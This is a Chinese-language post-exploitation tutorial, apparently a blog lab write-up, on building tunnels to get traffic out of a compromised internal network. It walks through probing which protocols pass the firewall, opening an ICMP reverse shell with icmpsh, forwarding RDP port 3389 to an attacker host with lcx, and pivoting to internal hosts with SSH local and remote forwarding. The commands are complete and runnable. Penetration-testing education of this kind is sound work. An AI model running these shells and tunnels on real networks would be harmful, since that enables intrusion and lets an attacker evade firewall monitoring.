前言
在打進內網之后,我們要判斷此時的流量是否出的去、進的來。在一些真實的網絡環境中,網絡中的主機彼此進行通信一般是通過建立TCP連接然后進行數據通信,但是企業出於安全方面的考慮,也通常會在邊界設置一些軟/硬件防火牆來檢查內部網絡和外部網絡的連接情況。假如這時我們想通過某個端口或者某個協議來與內網來進行一個連接,但是發現連接被防火牆所檢測出異常,並且阻止此次連接的進行那么我們該怎么辦?這個時候黑客們一般會借助一些隧道技術來對防火牆來做出繞過。那么什么是隧道呢?這里隧道的意思是指將我們的數據包用防火牆允許的端口或者協議來進行封裝后以致於達到穿過防火牆目的的一種手法,一下便是一些常見的隧道。
應用層隧道:HTTP隧道、HTTPS隧道、DNS隧道、SSH隧道
傳輸層隧道:TCP隧道、UDP隧道
網絡層隧道:ICMP隧道、IPV6隧道、GRE隧道
判斷網路流量的連通性
在打入內網之后,我們要對內網機器是否出網做出一個判斷,且要判斷出該網絡中防火牆放行何種協議或者端口,之后我們才可以用對應放行的協議或端口來搭建相應的隧道。
判斷ICMP協議
ping <IP地址或域名>
判斷HTTP協議
判斷HTTP協議連通性我們可以利用wget或者curl等工具來進行實現
wget <IP地址或域名>
curl <IP地址或域名>
判斷TCP、UDP協議
TCP、UDP協議判斷可以利用netcat(簡稱nc)
nc -zv <IP地址 端口號> #默認檢測TCP
nc -zvu <IP地址 端口號> #u參數為檢測UDP
判斷DNS協議
DNS協議判在windwos中可以利用nslookup,在linux中可以利用dig。
mslookup <域名> <DNS IP> #windwos
dig @<DNS IP> <域名> #linux
隧道搭建
ICMP隧道
首先在kali上安裝icmpsh軟件
https://github.com/inquisb/icmpsh.git #軟件地址
我們可以直接用git克隆過來
git clone https://github.com/inquisb/icmpsh.git
然后我們還需要來安裝python-impacket類庫以保證對TCP、UDP、ICMP等協議的訪問
pip2 install impacket
接下來我們還需要關閉我們之前的ping命令應答程序,這樣可以防止內核自己對ping包進行響應。
sysctl -w net.ipv4.icmp_echo_ignore_all=1
實驗完成后開啟系統ping的話將最后的1改為0即可
然后可以在kali上開始監聽
python icmpsh_m.py 本機ip 目標ip
再把icmpsh.exe傳輸到靶機上
icmpsh.exe -t 192.168.110.140 # -t參數后面接上本機的ip地址
接收到shell。由於數據是利用PING請求/回復報文通過網絡層傳輸,因此並不需要指定服務或者端口。這種流量是無法被基於代理的防火牆檢測到的,因此這種方式可能繞過一些防火牆規則。
端口轉發和映射
在防火牆屏蔽了某些端口(如3389)端口的數據時,我們可以一些端口轉發技術來把3389的流量給轉發出來或者映射到服務器的其他端口上。這里我們利用一款lcx的小工具來進行實驗。
下載地址
https://github.com/cw1997/NATBypass #該版本為go語言開發,一些老版的lcx的連接不是很穩定
端口轉發
首先將下載好的lcx(原版本文件名字為nb)上傳到目標靶機,然后在目標靶機上執行
lcx.exe -slave 127.0.0.1:3389 192.168.178.1:4444 #192.168.178.1為攻擊機,4444為轉發出來的端口
然后在攻擊機器上執行
lcx.exe -listen 4444 5555
這里成功建立了一個連接
建立好連接之后,我們就可以在我們的攻擊機進行遠程連接
然后輸入密碼即可
端口映射
端口轉發是把內網的流量給轉發到我們公網的VPS中,而端口映射則是把內網中一個端口的流量轉發到該內網中另外一個端口中以至於逃避防火牆的檢測
例把內網中3389的流量轉發到33891端口中
lcx.exe -tran 33891 192.168.178.133:3389
輸入密碼即可連接成功
SSH隧道
在內網中幾乎所有的Linux服務器都支持SSH協議,所以SSH隧道也是一種非常常見的隧道技術
一般我們利用SSH客戶端去連接服務端命令如下
ssh root@192.168.1.1
但是這里我們需要利用到SSH來搭建隧道技術,所以我們還需要了解到一下搭建SSH隧道經常用到的參數
-f:后台運行ssh -N:安靜的建立連接(可以建立連接且看不到會話) -C:壓縮傳輸,提高傳輸速度 -g:允許遠程主機連接本地用於轉發的端口 -L:本地端口轉發 -R:遠程端口轉發 -D:動態轉發 -p:指定ssh端口
本地轉發
這里有如下一個場景(以前畫的,完整的拓撲圖后面還有一台機器,這里偷懶,直接截圖上來了)
本機可以訪問到targer1,但是訪問不到target2,這里我們就target1為跳板機然后利用ssh的端口轉發來直接用本機連接上target2的ssh服務
首先在本機上執行如下命令
ssh -CfNg -L 6666:192.168.239.129:22 root@192.168.178.142 #6666為本機端口,其他ip和端口看圖
然后輸入target1的密碼即可
因為我們加了-N參數,所以這里看不到任何現象,我們可以看看6666端口時候開啟且建立連接
C:\Users\隨風>netstat -ano
可以看到6666端口是已經開啟的,那么我們就可以用ssh連接本地的6666端口以達到連接到target2的ssh服務
如下,我們就連接到了target2這台ubuntu服務器了
遠程轉發
有本地轉發為什么還要用到遠程轉發呢,我們想想本地轉發的網絡環境,是外網可以訪問到邊界的target1,假如這個時候外網訪問不到內網設備,但是內網可以訪問到本地的外網VPS設備,這種情況下就要利用到遠程轉發了
我們要已target1為跳板,將kali的4444端口流量轉發到target2的22端口上,然后訪問kali的4444端口以達到訪問內網的22端口的效果
首先我們需要在target1上執行如下命令
ssh -CfNg -R 4444:192.168.239.129:22 root@192.168.178.128 #4444為kali外網VPS端口,其他端口和地址見本地轉發圖片
然后輸入kali的賬號密碼即可
之后我們就可以在kali上通過連接4444端口來連接上target2的ssh服務了